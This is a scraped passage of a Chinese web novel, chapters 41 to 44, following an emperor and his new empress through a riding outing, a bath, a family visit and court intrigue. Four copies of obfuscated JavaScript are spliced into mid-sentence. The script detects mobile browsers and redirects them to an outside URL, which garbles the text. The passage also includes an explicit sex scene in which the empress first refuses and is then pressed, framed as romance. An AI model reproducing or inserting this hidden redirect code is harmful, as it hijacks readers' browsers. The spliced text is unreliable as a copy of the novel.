“小蝴蝶不会……还没出发过吧?”话一出口她就后悔了,何必多嘴引祸端呢。她不安地望向皇帝,见他冷冷地开口,“它想让你骑,不然不肯走。” 沈若辞微微抬眸望向马背上的天子,第一直觉是他在胡说八道。她跟黑马又不熟,第一次见面,怎么就非要她不可呢。但皇帝一脸阴沉的神色却撒不了谎,恐怕真的是黑马不听话,将他激怒。 可应该不关她的事吧。 黑马绕了一圈来到她面前,沈若辞正要避让,元栩却朝她伸出手,“上来。” 她迟疑地递出手,一眨眼的功夫就上了马,坐到他身前。 黑马抬起前蹄,轻快地跑起来。 尽管二人已经做过最亲密的事情,但此时被皇帝双臂圈着身子,沈若辞还是觉得拘束。可当黑马跑起来,清风拂面,视野开阔,所有的顾虑全都抛到了脑后。 此时眼里心里,只有风和自由。 起初元栩跟她一样,全副心思都在驾驭黑马这件事上,等沈若辞熟悉了黑马的性子,他也放松了心神,开始转移注意力。 黑马跑得轻快,她生得轻盈苗条,身子也随之一起一伏,一上一下,似有若无地撞在他身下,撞得他心神不宁。 元栩有意拉开两人的距离,可身前那人骑得正起兴,哪里能注意到这点细节,几次之后,他更加无法拒绝了,原本双手握着缰绳此时变成了单手,空出来的那一只牢牢地握着她的腰。 二人几乎是紧贴着彼此。 一圈之后,快要回到起点,黑马的速度渐渐慢下来,沈若辞这才后知后觉地察觉到了异状,她下意识想要挣脱,可那只手紧紧地环着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511263|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的腰,像铁墙一样无法撼动。 沈若辞吐出一口气,提议道,“皇上,跑这么久,让小蝴蝶休息一下吧。” 她想趁此机会换匹马,就不用跟他同骑了。 元栩心不甘情不愿地松开手,下一秒那柔软的身子便从他怀里逃脱,短暂的愉悦戛然而止。 他冷着脸从马上下来,拉起披风将自己裹得严严实实。 沈若辞摸了摸黑马漂亮的毛色,“乖乖吃草喝水。” 这一招对黑马极为受用,它听话地跟着马倌离开。沈若辞见它走远了,刚打算开口,“皇上……” 元栩打断她的话,“朕累了,去茶室休息一下。”话刚说完,他大步朝茶室走了过去。 沈若辞还没玩够,但又不好自作主张一个人跑去骑马,她迟疑了一下,还是跟着元栩进了茶室。 室内布置大方清雅,博古架陈列各色古玩珍宝、名贵兰草,正中央是一套金丝楠木茶几。 元栩坐在主位的茶椅,宫人已将热茶煮好,茶香袅袅弥漫屋中。沈若辞后脚刚进屋,茶室的门就被人从外边关上,她想阻止已经来不及了。 沈若辞回头看了一眼紧闭的门扇,又慢慢转身看向元栩,“皇上。”她顿了顿又说,“臣妾还想骑马。” 回应她的只有淡淡的一声“过来。” 元栩开始解自己的腰带。 沈若辞心头一跳,见他身子缓缓地向后仰去,最后偏过头来,好整以暇地等着她。 “骑朕。” 直到这时候,沈若辞才从他的眼神里明白过来话中的意思。她长指绞着衣摆,脚下仿佛有千万斤重,如何也迈不开步子。 怎么可以在马场呢,又不是寝宫,更何况马倌就在外面,太不知廉耻了。沈若辞小声拒绝,“不要在这里。” 元栩耐着性子冷冷道,“上来。” 屋中温度似乎高了一些,茶香更加浓郁。 元栩从背后伸手环住她的身子,两手兜了个满,指间碰触到一片柔腻绵软,像云朵一样,变化着各种形状,而后她开始起伏。 她可真轻。 轻而易举就被举起,落下,就像方才在马上一般,起起伏伏。 而他掌中的,腿上的,丰腴饱满得过分,根本不像是这副纤瘦身子该拥有的。 元栩手上的动作没有停,甚至还加重了力道,沈若辞一不留意,没忍住从喉中溢出几声娇-怯的低吟,引来背后那人恶意的嘲笑。 那声音,连她自己听了都觉得羞人,而后她死死地咬住嘴唇,再不肯漏出半点声音。 元栩端起茶杯喝了一口,掰过她的下颌将茶水渡到她口中,另一只手更加肆无忌惮,她开始断断续续地呜咽。 渡了几次茶水,只有一半进了她口中,茶水顺着脖颈往下,遇到阻挡后,洇湿了一片,他拭去雪峰上的水珠,“都把沿沿弄湿了,这可怎么办呢?” 温热的气息扑洒在耳畔,她感觉整个耳廓莫名酥麻起来,周身更是滚烫得不像话,意识里的那根弦绷紧了,几乎随时就要断掉,身后人忽地向前靠过来,在她耳边似笑非笑,“是不是,骑朕更有趣?” 42. 第 42 章 什么、有趣? 茶室内空旷安静,由于他正做着不合规矩的事,沈若辞像被架在火上炙烤,马场里偶尔传来的马叫声被无形地放大,惊得她身子下意识地绷紧。 沈若辞的头脑几近放空,一时间没反应过来他话中的意思,等回味出来的时候,几乎是要把唇给咬破。 偏偏那人还不要脸,非但不放过她,手上的劲儿反而更起兴了,邀功似地在她耳边轻磨低语,“朕的功劳”,她受不住这上上下下的刺激,当场就想晕死过去。 胡闹了半个多时辰,那原本全程绷直的莹白如玉的脚背,像是被抽干了最后一点力气,此时无力地垂下。沈若辞闭着眼儿无力地靠在他身上,双唇鲜红如熟透的樱桃,唇角微微抽动,咬着牙发出哼哼唧唧的控诉,“我再也不来骑马了……” “再也、不要!” 此时元栩却是满面春风,眉眼生辉,他像是没听到她的控诉那般,自顾自地抬起她一条腿,给她套上布袜,穿上那双新做的鹿皮靴。 门外适时响起了敲门声,“皇上,连将军求见。” 沈若辞明白这些内侍肯定是听着屋内的声音来禀报的,顿时更是窘得不行。 岳常安知道帝后二人待在一块儿,一般没有他什么事,他找了个机灵的小太监守在马场放风,自己趁机躲回去休息,就等帝后玩够了,准备离开的时候,再通知他过来。 所以,睡了一觉,精神饱满的岳公公出现在马场门口时,正好赶上帝后二人在你侬我侬。 香汗湿透的发丝覆在额头上,长指温和地撩起被他颠簸下来的发丝,关心道,“骑马累吗?” 沈若辞红着眼儿,抿着唇泫然欲泣。 岳常安微微笑着,见新皇后没有回答,便赶上前去,自以为好心地提醒道,“娘娘。” 他这么一句话,沈若辞才意识到还有人在看自己,小脸憋的更红了,眸子里蓄着泪珠,几乎随时要滚落下来。 岳常安心里一惊,偷偷拿眼去瞧皇帝,见他面色如常,可被他触及眼神时,却狠狠地瞪了他一眼,那眼神里明晃晃地写着“要你多事。” 岳常安被他看得脖子一缩,忙道,“步辇就在前面,皇上娘娘可前往乘坐。” 元栩餮足地握起她的手,连骁还在书房里等着他,方才这场突如其来的情-事耽误了时间,他要赶过去见一下,“皇后先行回去,朕还要政务要去处理,就不陪你回宫了。” 沈若辞忙不迭地缩回手,“臣妾告退。” 她红着眼圈,慌慌忙忙地从他视线里逃脱,半路因为走得急,扯动腿间的伤处,痛得她一个踉跄摔倒在地。 沈若辞已顾不得疼,她从地上爬起来,忍着黏腻和不适跑上步辇。等坐定了,步辇开始移动,她才微微松了口气,抬起手背抹了一下鼻子,鼻尖红红的。 万寿宫内。 薛太后坐在主位上,宫女给她捶着肩,看起来很是舒坦。后宫几位妃子都到齐了,面上或多或少都挂着笑容。 薛雪媚闲适地喝着茶,“就她那身子,还去骑马,怕是不嫌命短吧。” 她心里知道皇帝厌弃沈相的女儿,喝避子药就算了,没想到还想她死。 几人正说说笑笑,跑进来一个小太监,“禀太后、各位娘娘,皇后娘娘离开马场了。” 连亦兰问道,“是自己走出来的吗?” 这话问出口后,连亦兰才意识到话中的恶毒,不禁有些懊恼。所幸其他人也在等答案,没人去揣测她的用心。 小太监点点头,“回娘娘,皇后娘娘是自己走出来的,就是……” 他像是摸准了各宫娘娘想看好戏的心态,故意卖个关子。 薛雪媚迫不及待地问道,“是什么,快说。” 小太监鞠了一躬,“是。不知道马场里发生了什么事,皇后娘娘出来的时候路都走不稳,奴才见她鬓发松散,眼眶发红,一副受了惊的模样。” 薛太后想起元栩那匹黑马,性子烈得很,除了皇帝谁也碰不得,不知情的人想靠近,被踢上一脚那真是要命的事。 能走路,还算是万幸了。 小太监见各位娘娘听得津津有味,便又说道,“娘娘跟皇上分开的时候,似乎很害怕,还摔了一跤,弄得一身泥土,可她顾不得伤情,硬撑着跑上步辇,好像……是在逃命一样。” 啧啧,还真惨。 众人听着,甚至有几分同情起这位皇后娘娘来了。果然什么人就该有什么样的命,这皇后也不是谁都能当的。 连亦兰问,“皇上没有陪她回去?” 小太监摇摇头,“没有,奴才见皇上看着她,嘴角似乎还笑了一下。” 几位妃子都笑了,薛太后不觉得好笑,她甚至觉得心里发毛。他果真是个铁石心肠的人,一心就想将人置于死地,若是现在不做打算,以后连骨头都会被他吃了。 她突然觉得自己多年来的筹划是对的,否则日后会死无葬身之地。 再说沈若辞回到雪辉宫的时候,荣星荣月两个小宫女忙迎了出来。 她们俩还是头一回离皇后娘娘这般近,心里多少有点紧张,但脸上还是尽量保持镇定。 “娘娘,请喝水。” “娘娘,擦擦汗。” 沈若辞扶着荣月的手,声音沙哑,“准备热水,本宫想沐浴。” 荣星抬头看了一眼皇后娘娘,见她双颊泛着红晕,眉眼有一种她也说不清道不明的明丽,几乎把她看呆了。 荣月见她傻站着不动,催促道,“快去,荣星。” 荣星红着脸儿往浴室走。 雪辉宫里一早便备好了热水,就等皇后娘娘骑马回来后,随时可以沐浴。 不出半刻钟,沈若辞已经站在浴室里,开始脱衣裳。腰带散开,外裳落下。一滴泪掉在荣星的手背上,她抬头,惊讶道,“娘娘,您怎么哭了?” 荣月闻声也转过来,小翼翼地望着她脸上的泪痕,“娘娘……” 沈若辞双手紧紧地攥着胸口的衣襟,不管荣星荣月怎么劝说都不肯松开,一时间主仆三人都愣在原地。 连嬷嬷闻声进来,递给荣月荣星一个眼色,示意她俩出去。 两个小丫头如释重负,风一般地溜了出去。 等二人退下后,连嬷嬷才走上前去,温和地安抚道,“娘娘,我让她俩都出去了,来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517545|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老奴给您更衣。” 说着轻轻握住沈若辞的手,从她胸前拿开,开始解她的中衣。 沈若辞这才抬头看向连嬷嬷,哭得梨花带雨,“嬷嬷,他怎么能这样……” “怎么可以这样……” 小衣褪下来,裹着的绵软离了束缚,深深浅浅的指痕一览无余,连嬷嬷只看了一眼,心疼得连连抱怨,“这下手也太没有个轻重了,娘娘这么娇贵漂亮的小娘子,碰一下都要心疼好久,怎舍得下怎么重的手!” 就是!沈若辞委屈得连连点头,得到了安抚,她心里也好受一点,乖乖地由着连嬷嬷扶进浴桶里清洗身子。 浴室里雾气腾腾,细看之下,才发现那身白嫩的皮肉上,像白雪落了红梅,有点点的殷红如血的痕迹。 沈若辞望向连嬷嬷,双眸被水气洇湿,看起来有些可怜。连嬷嬷见她欲言又止,拿布巾替她清洗身子。 “娘娘有什么想法,有时候可以直接跟皇上说。皇上啊,性子有时候是武断一些,但也不是不听人劝的。” 沈若辞想起他在茶室里的表现,哪里是听人劝的样子。她抿了抿唇,没有反驳。 连嬷嬷细心地给她梳洗头发,“老奴当年陪连皇后入宫,那时候连皇后也像您一样,独宠后宫,可惜红颜薄命,生下皇上没多久之后,便因病去世。” 沈若辞心道这其中定有什么误会,连嬷嬷才会认为她正得圣宠。 “后来啊,没几年的时光,先皇也驾鹤西去了,只剩下皇上孤零零一个人,小小年纪就要掌管大权,统领天下,也亏得他够坚强,将一切都承担了下来。” 头发已经梳顺洗净,连嬷嬷还在絮絮叨叨,“娘娘跟皇上是新婚夫妻,没有什么话儿不能说的,切勿一个人憋着,免得日后生出嫌隙。” 沈若辞愣了愣。 她起初一直认为连嬷嬷是皇帝派来监视她的,可近来相处多了,便觉得也不尽然。日常生活细节,她能感受到连嬷嬷的用心和关怀。 此时连嬷嬷正认真地替她包起湿漉漉的头发,又细心地将一缕碎发别到耳后,沈若辞按住她的手,歪过头去将心里的疑惑问出口,“嬷嬷为何要对我好?” 连嬷嬷也是一怔,片刻之后,板正的脸上难得露出一点笑容,“老奴对娘娘好,是因为皇上。皇上对谁好,老奴就对谁好。” 那时候皇帝让她去相府,她直觉皇帝是让她去看着人的,所以并没有给沈若辞好脸色看。 可后来,她知道了皇帝要立她为后,心态自然发生了很大的变化。皇帝是她的主子,又是她一手养大的“亲人”,有一天他找到了喜欢的人要成亲了,她当然是要替他开心的,跟他一样去喜欢那个人。 她的想法就这么简单,她微微思忖了一下,温和道,“老奴觉得是,爱屋及乌。” 沈若辞明白过来,说到底,这还是一场误会,连嬷嬷以为皇帝真心娶她为妻,她老人家视皇帝亲如后辈,自然也把她当亲人疼。 可惜她这份慈爱终究是要被辜负。 等到了回门那一日,锦云一双巧手从清晨开始就没有停过,梳妆打扮穿衣,样样都要做到极致,沈若辞只能尽力配合。 43. 第 43 章 元栩来雪辉宫接人的时候,简直是眼前一亮。美人就是美人,出色的容貌永远是最吸引人目光的。正红色的裙装,比火还要热烈还要耀眼的颜色,穿在她身上,似乎暗都淡了几许。 今晨日光有些刺眼,沈若辞出门的时候眉头一皱,微微眯起了眼睛。 元栩本来已坐上了轿撵,见到这一幕,不假思索地从车上下来,径直走过去将人抱进车里。 沈若辞双颊通红,端坐在车内闭着嘴不说话,他这人贵为天子,做事都是这么没有礼数的吗?这么多人,这么多双眼睛看着,不让人见笑吗? 车内放着柔软的靠枕,元栩随意地倒在靠枕上,长腿微屈,一副闲适自在的模样,见沈若辞坐得端正,他手臂一伸,就将人搂过来,与他双双倒在靠枕上。 沈若辞“……” 她抿抿唇,漂亮的眼睛半垂着,心道算了,这里也没有人看到,就当惯着他吧。 临近相府,沈若辞坐起来检查一遍穿戴后,才撩开车帘,远远就见父亲跟沈家一众人员在门口等着。 下了马车,众人依礼拜见后,便领着皇帝进府里去。 回门宴上,沈忠安排了歌舞表演。沈墨也没有拂两个哥哥的面子,到场坐了一会才离开。 沈墨离开后,沈若辞的心也跟着父亲走了,没坐一会也借故离席。 沈若辞一去不回,元栩心里放不下她,觉得那舞蹈甚是无趣,沈忠兄弟二人又尤其碍眼聒噪,他不想呆下去,便借口去看看沈相。 沈忠殷勤地想要陪着,被他拒绝了。门口一个身材高大的小厮立马毛遂自荐,替他引路。元栩对这种场面见怪不怪,便跟着他去找沈相。 沈忠沈义兄弟二人已将沈府挥霍一空,但昔日的亭台楼阁尚在,也不至于太过落魄。元栩一心想去看看沈若辞,也无暇多看,一路疾步快走,直至湖边出现一抹红色的身影,那小厮忽然停下脚步,回头来恭恭敬敬地看着他。 今日沈府一大家子在门口迎接的时候,元栩就发现沈若辞一袭红衣在女眷中尤其抢眼,所以此时见到这个红色的背影,他下意识觉得是沈若辞。 元栩并没有多想,便朝湖边那道身影走过去。 等有走近了,他才发现自己看走眼了,这女子身段根本不及沈若辞,甚至差远了。他二话不说转身就要离开,哪知湖边那女子忽地回头。 女子的声音柔美动人,“皇上……” 沈若嫣似乎察觉出皇帝要走,楚楚可怜地叫了一声,而后羞涩地将披在身上的红衣褪至臂弯,露出鸳鸯戏水的小衣。 小厮像是一早就知道沈若嫣要做什么,早早地退后几步背过身去。 沈若嫣羞涩地介绍起自己来,“臣女若嫣,是皇后娘娘的姐姐。” “哦?” 元栩脚步一顿,略微思忖了一下,轻轻地将她的名字默念了一遍,“沈若嫣。” 他道,“很好。” 自己送上门来了。 他嘴角勾起一抹笑意,笑容未及眼底,冷冷地看她卖弄风情。 元栩的反应让沈若嫣备受鼓舞,她咬着唇儿唤了一声“皇上”,而后莲步轻移,一副随时要栽进他怀里的模样。 元栩往右前方迈了一步,脚尖一旋,轻轻地转了个身站到她背后,避开了她的投怀送抱。 沈若嫣扑了空,怔愣在原地。 她想起沈若辞今早身着华服,在沈府门口接受众人跪拜的风光,心里全然不是滋味,她无法接受沈若辞一个残花败柳都能做皇后,而她样貌出众又冰清玉洁,却活在泥潭里。 袁妙莹不知因何事被送到了山里的道观,她想要攀上袁家谋一门好亲事的希望彻底断了。而三叔入狱期间,沈家人的做法已经将他得罪得彻彻底底,再也无法挽回。如今年岁也不小了,沈若嫣知道家人已指望不上,凡事还是要靠自己争取。万不得已之下,只能出此下策。 她握紧了手心,刚一抬头,目光触及便是不远处沈若辞夺目的红衣。她几乎不假思索,转身就往湖边那天潢贵胄身上扑过去。 元栩身形一闪,一股刺鼻的香味从鼻尖飘过,他蹙眉拂下衣摆,这才听见背后“扑通”一声。 接下来便是女子尖声呼喊“救命”的声音。 他没有往湖里看一眼,从容地走向那小厮,最后在他面前停下来,“叫什么名字?” 小厮不慌不忙地回道,“陈彪。” 元栩问道,“想不想娶沈若嫣?” 陈彪生远远地望着湖里扑腾求救的女子,眼珠子一转,谄媚地回道,“想。” 元栩轻笑一声,“朕给你这个机会。” 小厮慢悠悠地往湖边走,今早他才收了沈若嫣的好处,要他找机会将皇帝带来湖边。原本以为不是简单的事情,没想到他稍微争取一下,就完成了任务,二两银子落了口袋。 这会子好运似乎又砸中他了,他一路走,一路喊,“来人啊,救命啊,大小姐掉湖里了!” 蠢货。 元栩嗤笑一声,往前走一段距离,就见沈若辞去而复返。 方才筵席上岳常安见皇后娘娘离开后,皇上就一副心不在焉的样子,他等了一会儿,没等到皇后回来,就决心悄悄出去将人寻回来。 好不容易找到人,将人请回筵席的路上,没想到亲眼目睹了一场沈家女眷勾引皇帝的戏码。 那衣裳说脱就脱,饶是岳常安见惯了大场面的人,也一时手脚无措,走也不是,上前去也不是,一双短窄的眼儿不安的望着身旁的沈若辞。 沈若辞平平静静地说了一声,“走吧”,她可没有偷窥别人的癖好,便沿着小径走开了。只不过没走出几步,就听见小厮大声呼救地声音,她迟疑了一下,还是原路返回。 呼救声仍在耳边,元栩不疾不徐地朝地从石阶上拾步而下,“皇后总算记起朕了?” 她方才明明见人勾引他来着,却视而不见,扭头就走,元栩胸口堵了一口气。难不成,他真的被沈若嫣勾走了,她都能这般无动于衷? 沈若辞像做坏事被抓个现行,心底是虚的,但还是强装镇定向他行了一礼,“臣妾见过皇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524649|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这时候府里众人闻声而来,三三两两地跑过来一探究竟。 这场面像极了那日马瑜春来求亲的情形,众人相携而来,一个一个就笑着等着看她笑话。沈若辞心下一沉,下意识想要避开这些人。 “皇后不陪朕参观一下沈家?”他一双桃花眼里噙着笑意,“也顺道看场好戏。” 不能只让别人看好戏啊,有机会也要看看别人的好戏。 他拉着沈若辞的手,气定神闲地随人流走向湖边。 沈忠闻讯赶来,一路痛心疾首地喊道,“好好一个人,怎么就掉到湖里了呢!” 小厮已将沈若嫣从湖里捞上岸来,人正躺在他的怀里,身上还盖着他的衣裳,浑身抖个不停。 沈忠见此场景脸色一黑,示意丫鬟上前去扶沈若嫣。那小厮眼疾手快地将人扶起来,还不忘替她整理一下披在身上的衣裳。 “大小姐的怎么穿成这个样子?” 小厮的动作引起沈忠的注意,这会儿他才发现女儿穿着下人的衣服,又追问道,“怎么回事?” 小厮站在原地,看着沈若嫣的背影,“大小姐身上穿的是小人的衣服,她的衣服都在湖里。”他手指一抬指向湖面,众人沿着他手指的方向望过去。 微风习习,湖面波光粼粼,女子的贴身的小衣随水流飘到湖中央,一抹艳红尤其显眼。 沈忠脸色一黑,“这么说,你看光了嫣儿的身子?” 沈若嫣没想到父亲会当众问出如此难堪的问题,她脚步一顿眼泪就流了下来,是生怕别人不知道吗? 小厮当众跪在地上,诚恳道,“小人冒犯了大小姐。当时事态紧急,大小姐危在旦夕,小人并没有时间多想。” 这等于承认了沈忠的说法。 “混账东西!”沈忠一脚将人踹翻在地。 沈若嫣原本已由丫鬟搀扶着走出几步,此时越想越不对劲,她忽地甩开丫鬟的手冲了回来,指着那小厮的脸大叫道,“爹,他对女儿不敬,快杀了他,杀了他!” 她现在回想起来湖里的每一次接触,都是他蓄意轻薄。只有这低贱的男人死了,她才能挽回自己的清白。 如花似玉的女儿给下人看光了身子,这事传出去,日后沈若嫣的名声就全毁了,他原本还打算靠这个女儿走一下裙带关系或者捞一笔大钱,今日这事几乎断了他的念想。 沈忠何尝不想杀了这个贱奴来掩盖这丑事,可眼下不是时候,若是平日里只有沈家的人,他大可以杀人灭口,将其他目击者一并处置。可今日,坏就坏在还有外人在,不止皇帝、宫里还来了一群侍卫侍从,谁也保不准这群人不会将事情说出去。 此时沈忠左右两难,杀了这贱奴又怕给人说恩将仇报,不杀又无法掩盖丑事,看来只能等皇帝的人走了,他再神不知鬼不觉地把人处理了。 “先将人带下去。”沈忠无奈地挥手。 本以为事情到此戛然而止,元栩这会儿才慢慢地从人群中走出来,“今日一事有损沈大小姐的名声,不知沈大人要如何处理?” 44. 第 44 章 经皇帝这么一问,沈忠一时底气全无,唯唯诺诺地上前问道,“皇上,不知该如何……处理这奴才是好?” 元栩瞥了他一眼,“朕倒是有个两全的法子,既可保住沈大小姐的名声,又能报答救命之恩。” 沈若嫣浑身抖得更厉害,一个贱奴,生剥活剐了还不解恨,谈什么报答? 沈忠忙回道,“求皇上赐教。” “依朕看,救人性命的事,用钱财报恩显得没有诚意。沈大人觉不觉得,这男未婚女未嫁的,凑成一对刚刚好。” 沈忠初时惊愕,但片刻之后又沉默下来,似在考虑。 “不……”沈若嫣瞬间明白皇帝的意思,整张脸惨白成一片,又见父亲迟迟不肯开口拒绝,心里慌得没底,她扑在地上抱住父亲的腿,哀求道,“爹,女儿不嫁给他,死……都不要嫁给他。” 小厮一副受委屈的样子,在一旁添油加醋,“难不成大小姐真想做忘恩负义的事,要奴才死?” 沈忠被吵得头疼,今日女儿算是名声全无,日后恐怕用不上了,留在家里也是祸害,不如直接嫁出去的好,这样子还可以少养一张嘴,他也不必背上忘恩负义的骂名。 “由不得她,人家既然救了你,又看光你的身子,你做他的人理所当然。” 小厮立马表明态度,“奴才愿意负责。” 沈若嫣要气红了眼,“用不着你多事!” 元栩见沈若辞始终一言不发,便牵起她的手,柔声问道,“皇后怎么看?” 皇后? 沈若嫣狼狈地跪在地上,她微微仰起头,沈若辞那身红衣耀眼,深深地刺痛她的眼睛,她心底里腾起一股怨气,哀嚎道,“凭什么她失了清白给马瑜春,还能入宫做皇后,而我就要嫁给这个贱奴!” 沈忠万万没想到她还敢提起这事,气急败坏地踢了沈若嫣一脚,“逆女,胡说八道什么,休要诬陷皇后娘娘!” 沈若嫣勾结马瑜春要毁她清白的事,沈若辞还没跟她算账,没想到她主动提到了,她便顺水推舟,为自己报个仇。 她微微垂下眼眸,将沈若嫣的狼狈尽收眼底,“皇上说得是,凑一对,刚刚好。” 毁谤皇后可是要牵连全家的大罪,沈忠吓出一头冷汗,在一旁奉承,“是是是,皇上圣明,臣立马去准备婚事。” 人潮散去,沈若嫣此刻才意识到事情已无回旋的余地,面如死灰地瘫在地上,最后被丫鬟搀扶回去。 回去的路上,沈若辞没想到皇帝还有替人做媒的喜好,倒是阴差阳错帮了她。 马瑜春入狱后,状告他恶行的人络绎不绝,很快就要被发配到边疆,这其中当然也有她的手笔。她私下出钱出力,帮助无权无势的受害人,让他们也有能力去状告马瑜春。 这回马瑜春伏法也是意料之中的事。 但袁妙莹一事却是出乎意料,莫名其妙去了鸡笼山的小道观,以她的性子,恐怕不会是自愿去的,唯一的可能是……… 沈若辞下意识想到皇帝,她抬头望了望身旁的男人,心里笑了一下摇摇头。怎么可能,他才不会知道这些事,更不可能特意来帮她报仇。 二人一同来到沈墨的住处。 沈若辞一早便跟父亲见过面,此前父女二人已经说过话,她朝父亲灿然一笑,甜甜地唤了一声“阿爹。” 沈墨见女儿面色红润,双眸如星光璀璨,不由得心情大好,笑得十分慈爱。 元栩黑着脸站了一会,沈墨像是才记起他这号人来,拱手准备行礼,“臣……” 元栩大手一挥,“一家人,爹不必多礼了。” 沈墨几乎是从善如流地收起手,挺直了腰,半点客套的意思也没有。 元栩轻轻一笑,“爹可要照顾好自己,切勿像上次那般,做出让沿沿操心的事来。” 沈墨一怔,沉下脸来不说话。 元栩看向沈若辞略显焦虑的小脸,轻声道,“朕有政事要跟爹商议,沿沿先回避一下。” 沈若辞一步一回头,最后还是迫不得已地出了门。 元栩开门见山,“沈相真不打算同朕说说,姜国来的信件究竟写了何事?” 沈墨沉思良久,才缓缓开口反问道,“而今沿沿在皇上手里,您还怕臣敢有二心不成?” “沈相误会了,朕只是怕沿沿又要为父亲四处奔走,操心劳累。” 他说得漫不经心,沈墨心下一震,长袖下手掌不自然地握成拳,片刻之后又缓缓松开,嘲讽道,“皇上倒是对爱女情深义重。” 元栩听出他对自己的不信任,“沈相可以不相信朕,但不能不相信沿沿。像沿沿这样的女子,不讨人喜欢?” 沈墨脑子里闪过女儿种种过往,从一个糯米团子长到如今亭亭玉立的少女,他很难想象会有人不喜欢他的宝贝闺女。 偏偏有人不是人。 沈墨叹了口气,“是臣一点私事,与国事无关,求皇上成全,莫要再追究。” 元栩最终没有追问下去,他还有事情要沈墨去着手调查。 “沈相还记得安都贪墨一案?”元栩语调认真起来,继续说道,“而今案件已查清,丁太守是案件主犯,已捉拿归案。贪污的钱财流入虞城,而他本人拒不交代何人指使,亦说不出钱财最后进了谁的口袋。” 沈墨眉头渐渐皱起,“虞城是二皇子的封地,若想究根究底,恐怕阻挠重重。” 元栩点头表示赞同,“所以朕想请沈相去一趟安都,亲自调查此事,以便……”他笑了一下,将茶盏推到沈墨面前,“将功抵过。” 安都这一去,怕是短期内回不来。沈墨心头立即涌上不好的念头,皇帝若是不安好心,不知道这次要趁他不在做出什么坏事来。 元栩循循善诱,“沈相也知道此番您无罪释放,朕饱受争议,要想堵住悠悠之口,将功抵过是最好的选择。何况事关重大,沈相忧国忧民,恐怕比朕更加上心。” 若是以往,不用皇帝多说,沈墨一早主动请缨前去安都,但如今他心忧女儿,哪里能说走就走。挣扎了半晌,他只说,“容臣想想。” 元栩道,“朕出去找沿沿,沈相尽快想好回复朕。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527954|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 元栩来到院子里的时候,沈若辞手里握着一根长竹竿,正仰着头用竹竿打橄榄。 现在这个季节,成熟的橄榄还不多,她在一片绿油油的叶子里费劲地寻找果子。 头抬得久了,脖子便开始犯酸,沈若辞收回竹竿,手指搓着掌心里的两颗绿橄榄,忙活了半天,竟然只找到两个大的。高处的枝桠倒是能看到不少果子,可惜只有干看的份,根本就够不着。 元栩踩着石阶走进庭院里,高大的身姿投下长长的影子。他从沈若辞手中接过竹竿,眼神不屑地看了一眼她的头顶,嘴角几不可见地向上扬了扬。 沈若辞见他举起竹竿,主动让了个位置给他,哪知才往后走了一步,就听见他轻描淡写地说了几个字。 “跟个矮冬瓜似的,哪里够得着。” 沈若辞旋即一愣。 她矮?她哪里矮了!明明是他长得太高,跟个窜天猴似的才对。 她脚下步子一转,忽地转身回去,气鼓鼓地正要反驳,映入眼帘却不是他讨厌的脸。 青翠的橄榄枝,零零星星地缀着大小不一的果子,正悬在她的眼前,被微风轻轻地吹动。 “拿着。” 蹦到嘴边的话被这串果实收买了,她接过橄榄枝,摘下几颗成熟的果子,提醒道,“小的不要打下来。” 二人一个负责用竹竿打果子,一个仰着头随时准备捡果子,竟是难得的和谐。 一串果子落下来的时候,顺着院墙滑到墙外,沈若辞提着裙子往外跑,“我去捡。” 小门就在不远处,她不假思索,一步跨过门槛。 院墙下立着一位白衣青年,玉冠束发,面容俊美斯文,衣着一丝不苟,只是神色有几分不协调的憔悴。 沈若辞脚步一顿,没想到袁子逸此时会出现在这里。见她出来,原本面无表情的一张俊脸浮现出笑意,他举起手中的橄榄枝,递给沈若辞,轻轻地唤了一声,“小辞。” 沈若辞举步不前,她凝着袁子逸看了一会,远远地回道,“袁公子。” 袁子逸握着橄榄枝朝她走来。 